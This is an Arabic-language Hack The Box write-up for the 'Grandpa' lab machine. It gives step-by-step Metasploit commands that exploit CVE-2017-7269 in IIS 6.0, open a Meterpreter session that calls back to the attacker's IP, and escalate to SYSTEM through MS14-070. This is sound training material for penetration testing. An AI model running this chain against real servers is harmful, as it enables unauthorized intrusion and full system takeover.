اختراق صندوق الجد (Grandpa) في Hack The Box: دليل عملي لاستغلال CVE-2017-7269
تُعد منصة Hack The Box (HTB) بيئة تدريبية ممتازة لمتخصصي اختبار الاختراق، حيث توفر مجموعة واسعة من التحديات المتجددة التي تحاكي سيناريوهات العالم الحقيقي أو تميل إلى أسلوب تحديات CTF (Capture The Flag). في هذا المقال، سنتناول تفاصيل اختراق آلة Grandpa، وهي إحدى الآلات المتقاعدة في المنصة، والتي على الرغم من بساطتها، إلا أنها تسلط الضوء على ثغرة أمنية واسعة الانتشار ومهمة للغاية: CVE-2017-7269.
لقد سمحت هذه الثغرة، فور الكشف عنها، بالوصول الفوري إلى آلاف خوادم IIS حول العالم بسهولة بالغة. سنستخدم في هذا الدليل العملي مجموعة من الأدوات الأساسية المتوفرة في توزيعة Kali Linux لاختراق هذه الآلة:
Nmap(ماسح الشبكة)Searchsploit(أداة البحث عن الثغرات)davtest(أداة اختبارWebDAV)Metasploit Framework(إطار عمل اختبار الاختراق)Local exploit suggester(مُقترح الثغرات المحلية)
قبل البدء، سنقوم بإضافة إدخال لآلة Grandpa في ملف /etc/hosts لتسهيل الوصول إليها بالاسم بدلاً من عنوان IP. يتم ذلك عبر الأمر التالي:
nano /etc/hosts
ثم نضيف السطر التالي:
10.10.10.14 grandpa.htb

الخطوة 1: الاستطلاع وجمع المعلومات
تُعد مرحلة الاستطلاع وجمع المعلومات الخطوة الأولى والأكثر أهمية قبل محاولة استغلال أي آلة. فكلما أمضيت وقتًا أطول في هذه المرحلة، زادت فرصتك في اكتشاف نقاط ضعف محتملة يمكن استغلالها بنجاح.
مسح المنافذ باستخدام Nmap
سنبدأ باستخدام أداة Nmap (Network Mapper)، وهي أداة مجانية ومفتوحة المصدر لاكتشاف الشبكات وتدقيق الأمان. تستخدم Nmap حزم IP الأولية لتحديد المضيفين المتاحين على الشبكة، والخدمات التي يقدمونها، وأنظمة التشغيل التي تعمل عليها، وأنواع جدران الحماية المستخدمة، والعديد من الخصائص الأخرى.

لإجراء مسح مكثف وشامل، سنستخدم الأمر التالي:
nmap -A -v grandpa.htb
-A: تفعيل اكتشاف نظام التشغيل، واكتشاف إصدارات الخدمات، ومسح السكربتات، وتتبع المسار (traceroute).-v: زيادة مستوى التفاصيل في الإخراج (verbosity).grandpa.htb: اسم المضيف لآلةGrandpa.
إذا كانت النتائج تبدو معقدة للغاية، يمكنك استخدام أمر أبسط للحصول على المنافذ المفتوحة فقط:
nmap grandpa.htb

من خلال النتائج، نلاحظ وجود منفذ واحد مفتوح فقط: المنفذ 80، والذي يستخدم عادةً لبروتوكول نقل النص التشعبي (HTTP). كما يتضح من ترويسة http-server-header أن الخادم هو IIS 6.0.
Internet Information Services (IIS) هو برنامج خادم ويب قابل للتوسيع تم تطويره بواسطة Microsoft لعائلة أنظمة Windows NT. تم تضمين الإصدار IIS 6.0 (الاسم الرمزي “Duct Tape“) مع Windows Server 2003 و Windows XP Professional x64 Edition، وأضاف دعمًا لـ IPv6 ونموذج عملية عامل جديد زاد من الأمان والموثوقية.
نلاحظ أيضًا من عنوان http-title أن الموقع “قيد الإنشاء”، وأن هناك مسح http-webdav-scan يوضح جميع الطرق المسموح بها.
للحصول على مزيد من المعلومات، سنستخدم سكربت Nmap التالي. يرسل هذا السكربت طلب OPTIONS يسرد نوع dav، ونوع الخادم، والتاريخ، والطرق المسموح بها. ثم يرسل طلب PROPFIND ويحاول جلب الأدلة المكشوفة وعناوين IP الداخلية عن طريق مطابقة الأنماط في نص الاستجابة:
nmap --script http-webdav-scan -p80 grandpa.htb

WebDAV (Web Distributed Authoring and Versioning) هو امتداد لبروتوكول HTTP يسمح للعملاء بإجراء عمليات تأليف محتوى الويب عن بُعد. نلاحظ أن خادم IIS من Microsoft يدعم وحدة WebDAV.
اختبار إمكانية رفع الملفات باستخدام davtest
سنستخدم أداة davtest للتحقق مما إذا كان بإمكاننا رفع الملفات إلى الخادم:

الأمر المستخدم هو:
davtest -url http://10.10.10.14

يبدو أن رفع الملفات غير ممكن في هذه الحالة.
البحث عن الثغرات باستخدام Searchsploit
سنستخدم Searchsploit، وهي أداة سطر أوامر للبحث في قاعدة بيانات Exploit Database، للتحقق من وجود أي ثغرات معروفة في IIS 6.0.

الأمر المستخدم هو:
searchsploit iis 6.0

يمكننا الحصول على تفاصيل أكثر حول الثغرة 41738.py باستخدام الأمر:
searchsploit -x 41738.py

يعتمد هذا الهجوم على سلسلة برمجة موجهة بالعودة (Return-oriented programming - ROP)، وهي تقنية استغلال أمني تسمح للمهاجم بتنفيذ التعليمات البرمجية في وجود دفاعات أمنية مثل حماية مساحة التنفيذ وتوقيع التعليمات البرمجية.
يمكنك أيضًا التحقق من قواعد البيانات التالية للحصول على مزيد من المعلومات حول هذه الثغرة:
- قاعدة بيانات
Exploit Database: - https://www.exploit-db.com/search?q=iis+6.0
- https://www.exploit-db.com/exploits/41738
- قاعدة بيانات الثغرات الوطنية (
National Vulnerability Database - NVD): - https://nvd.nist.gov/vuln/detail/CVE-2017-7269
- قاعدة بيانات الثغرات والتعرضات الشائعة (
Common Vulnerabilities and Exposure - CVE): - https://www.cvedetails.com/cve/CVE-2017-7269/





لحسن الحظ، يتوفر وحدة Metasploit لهذه الثغرة:

الخطوة 2: زيارة الموقع والاستغلال الأولي
عند زيارة الموقع المستهدف، لا نرى الكثير من المحتوى. ومع ذلك، من خلال وحدة تحكم المطور، يمكننا ملاحظة أنه يعمل بواسطة إطار عمل ASP.NET.

سنستخدم الآن Metasploit Framework، وهو إطار عمل لاختبار الاختراق يجعل عمليات الاختراق أبسط وأكثر فعالية، ويُعد أداة أساسية للعديد من المهاجمين والمدافعين على حد سواء.

سنقوم بتشغيل Metasploit Framework على Kali Linux والبحث عن الوحدة المناسبة لاستغلال الثغرة.

إذا استخدمت الأمر searchsploit iis 6.0 داخل Metasploit، فستحصل على نفس الجدول الذي رأيناه سابقًا في الطرفية. ولكن إذا استخدمت search iis 6.0، فستحصل على 174 نتيجة.

الثغرة التي تهمنا هي رقم 147 في هذه القائمة. للحصول على معلومات حول هذه الثغرة، يمكنك استخدام الأمر التالي:
info exploit/windows/iis/iis_webdav_scstoragepathfromurl

لاستخدام هذه الثغرة، نكتب الأمر:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
قبل إطلاق الثغرة، نحتاج إلى ضبط الخيارات. يمكننا التحقق من الخيارات المتاحة باستخدام:
show options

نقوم بتعيين قيمة RHOSTS (المضيف الهدف) باستخدام الأمر التالي:
set RHOSTS 10.10.10.14
عند التحقق من الخيارات مرة أخرى، نرى أن RHOSTS قد تم تعيينه بنجاح:

يمكننا التحقق مما إذا كان الهدف عرضة للثغرة باستخدام الأمر:
check
ثم نقوم بتشغيل الثغرة باستخدام الأمر:
exploit

لقد نجحنا في الحصول على جلسة Meterpreter. وفقًا لموقع Offensive Security، Meterpreter هو حمولة متقدمة وقابلة للتوسيع ديناميكيًا تستخدم حقن DLL في الذاكرة وتتوسع عبر الشبكة في وقت التشغيل. تتواصل عبر مقبس stager وتوفر واجهة برمجة تطبيقات Ruby شاملة من جانب العميل، وتتميز بسجل الأوامر، والإكمال التلقائي، والقنوات، والمزيد.
لنبدأ بجمع بعض المعلومات. عند محاولة تشغيل الأمر getuid (الذي يعيد معرف المستخدم الحقيقي للعملية المستدعية)، يبدو أن الجلسة التي حصلنا عليها لا تمتلك امتيازات كافية لتشغيل هذا الأمر، حيث يظهر خطأ “Access denied“.

عندما يحدث هذا، نقوم بسرد العمليات الجارية باستخدام الأمر:
ps
ونختار عملية تعمل تحت حساب NT AUTHORITY\NETWORK SERVICE.

سنقوم بالانتقال إلى العملية رقم 3644 باستخدام الأمر:
migrate 3644

الآن، عند التحقق من getuid، نحصل على:
Server username: NT AUTHORITY\NETWORK SERVICE

كانت هذه هي الجلسة التي حصلنا عليها في البداية قبل الترحيل إلى عملية أخرى:

وهذه هي الجلسة التي حصلنا عليها بعد الترحيل إلى عملية أخرى:

للحصول على صدفة أوامر (shell) قياسية على النظام المستهدف، نكتب الأمر التالي:
shell

نتحقق من المستخدم الحالي على الجهاز باستخدام الأمر:
whoami

للحصول على مزيد من المعلومات حول الجهاز، نستخدم:
systeminfo

نتنقل إلى الجذر C:\:

ثم إلى دليل Documents and Settings باستخدام:
cd "Documents and Settings"

يمكننا رؤية مستخدمين: Administrator و Harry. عند محاولة التنقل إلى مجلد Harry، يتم رفض الوصول. نفس الشيء ينطبق على مجلد Administrator، وهو أمر متوقع لأننا لا نملك صلاحيات الجذر بعد.

نخرج من الصدفة باستخدام الأمر:
exit

الخطوة 3: استخدام مُقترح الثغرات المحلية (Local Exploit Suggester)
سنقوم بتشغيل وحدة local exploit suggester. تقترح هذه الوحدة الثغرات بناءً على بنية النظام الأساسي الذي لدينا صدفة عليه، بالإضافة إلى الثغرات المتاحة في Meterpreter.
run post/multi/recon/local_exploit_suggester

سنستخدم الثغرة MS14-070. سنبحث عن مزيد من المعلومات حولها في Metasploit باستخدام:
info exploit/windows/local/ms14_070_tcpip_ioctl

وكذلك على موقع Rapid7:

الخطوة 4: استخدام MS14-070 لرفع الامتيازات
سنقوم بوضع الجلسة الحالية في الخلفية باستخدام الأمر:
background

ثم نقوم بتشغيل الأمر التالي لاستخدام الثغرة التي وجدناها:
use exploit/windows/local/ms14_070_tcpip_ioctl

بعد ذلك، نتحقق من خيارات هذه الثغرة:
show options

نقوم بتعيين الجلسة (SESSION) إلى 1 (رقم الجلسة التي وضعناها في الخلفية) باستخدام:
set SESSION 1

ثم نقوم بتشغيل الثغرة باستخدام:
run

لقد نجحت الثغرة، لكننا لم نحصل على صدفة أوامر (shell) جديدة مباشرةً. نتحقق من الخيارات مرة أخرى:

ونقوم بتعيين LHOST إلى عنوان IP الخاص بآلة المهاجم (Kali Linux) باستخدام:
set LHOST 10.10.14.36
يمكنك التحقق من عنوان IP الخاص بك هنا:

ثم نقوم بتشغيل الثغرة مرة أخرى باستخدام:
exploit

يؤكد هذا أن الثغرة قد نجحت، لكننا ما زلنا لا نحصل على صدفة أوامر مباشرة. نتحقق من الجلسات باستخدام:
sessions -l
يجب أن نرى جلسة جديدة بصلاحيات NT AUTHORITY\SYSTEM، ولكن هذا ليس هو الحال الآن. لذا نعود إلى الجلسة الأصلية باستخدام:
sessions -i 1

عند التحقق من getuid، نحصل على NT AUTHORITY\SYSTEM. ومع ذلك، عند الحصول على صدفة أوامر قياسية على النظام المستهدف والتحقق من المستخدم الحالي (whoami)، ما زلنا نحصل على NT AUTHORITY\NETWORK SERVICE، وهو ليس ما نريده! نخرج من هذه الصدفة ونتحقق من العمليات. نرى أن لدينا وصول إداري على الجهاز. نحتاج فقط إلى الترحيل إلى عملية أخرى، وهو ما نفعله باستخدام:
migrate 408

بالعودة إلى صدفة الأوامر القياسية على النظام المستهدف، وعند التحقق من المستخدم الحالي (whoami)، نصبح أخيرًا بصلاحيات إدارية كاملة (NT AUTHORITY\SYSTEM)!
الخطوة 5: البحث عن علم المستخدم (user.txt)
الآن بعد أن أصبح لدينا امتيازات إدارية، يمكننا التنقل إلى مجلد Harry ضمن Documents and Settings. يمكننا سرد جميع الملفات والمجلدات باستخدام الأمر:
dir
ثم ننتقل إلى سطح المكتب (Desktop):

وهنا نجد علم المستخدم! يمكننا التحقق من محتوى الملف باستخدام:
type user.txt

الخطوة 6: البحث عن علم الجذر (root.txt)
لنبحث الآن عن علم الجذر! نعود إلى دليل Users ونتحقق من مجلد Administrator / Desktop. وها هو العلم!

نستخدم الأمر التالي لعرض محتوى الملف:
type root.txt

تهانينا! لقد عثرت على كلا العلمين بنجاح.
الخلاصة التقنية
يُظهر اختراق آلة Grandpa في Hack The Box كيف يمكن لثغرة واحدة قديمة، مثل CVE-2017-7269 في خوادم IIS 6.0، أن تفتح الباب أمام اختراق كامل للنظام. بدأت العملية بالاستطلاع الدقيق باستخدام Nmap لتحديد الخدمات ونقاط الضعف المحتملة، مما قادنا إلى اكتشاف دعم WebDAV على الخادم. على الرغم من فشل محاولات رفع الملفات المباشرة، إلا أن البحث في قواعد بيانات الثغرات كشف عن استغلال Metasploit جاهز لهذه الثغرة الحرجة. بعد الحصول على جلسة Meterpreter الأولية بامتيازات منخفضة، كان التحدي الأكبر هو رفع الامتيازات. هنا، أثبتت وحدة local exploit suggester فعاليتها في تحديد الثغرات المحلية، مثل MS14-070، التي مكنتنا من الحصول على صلاحيات SYSTEM. تُبرز هذه التجربة أهمية التحديثات الأمنية المستمرة، وإدارة التصحيحات، وضرورة الترحيل إلى أنظمة تشغيل وخوادم ويب حديثة لتقليل سطح الهجوم. كما تؤكد على أن فهم آليات الثغرات القديمة لا يزال ذا قيمة كبيرة في عالم الأمن السيبراني المتطور.